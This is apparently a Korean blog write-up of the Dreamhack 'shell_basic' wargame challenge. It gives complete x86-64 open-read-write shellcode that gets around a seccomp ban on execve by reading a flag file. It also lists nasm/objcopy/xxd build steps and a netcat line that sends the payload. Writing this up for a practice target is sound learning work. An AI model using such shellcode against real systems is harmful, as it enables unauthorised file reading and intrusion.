[Dreamhack]shell_basic write-up

최윤지·2024년 3월 3일

System Hacking

목록 보기
7/9

*pwntool 사용해서 다시 풀기

< 문제 >

https://dreamhack.io/wargame/challenges/410

워게임 문제

< 풀이 >

첨부되어있는 shell_basic.c 파일을 열어보면 execve, execveat 시스템 콜을 사용하지 못하도록 함
=> orw 코드를 작성하여 문제 풀이

open("/home/shell_basic/flag_name_is_loooooong", O_RDONLY, NULL)

일단 /home/shell_basic/flag_name_is_loooooong를 16진수로 바꾸는 과정 필요
=> 2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67

이를 스택에 push
=> 리틀 엔디언 기준

구현

push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp	# rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi	# rsi = 0 => O_RDONLY
xor rdx, rdx	# rdx = 0 => mode 의미X
mov rax, 0x2		# rax = 2 => open
syscall

read(fd, buf, 0x1000)

구현

mov rdi, rax		# rdi = /home/shell_basic/flag_name_is_loooooong
mov rsi, rsp		
sub rsi, 0x1000		# rsi = rsp - 0x1000 => 읽은 데이터를 저장할 주소
mov rdx, 0x1000		# rdx = 0x1000 => 읽어낼 데이터 길이
mov rax, 0x0		# rax = 0 => read
syscall

write(1, buf, 0x1000)

구현

mov rdi, 1		# rdi = 1 => stdout 출력
mov rax, 0x1	# rax = 1 => write
syscall

shellcode

완성된 코드

shell_basic.asm

셸 코드

nasm -f elf64 shell_basic.asm
objcopy --dump-section .text=shell_basic.bin shell_basic.o
xxd shell_basic.bin

flag 획득

cat shell_basic.bin | nc ~~

성공

0개의 댓글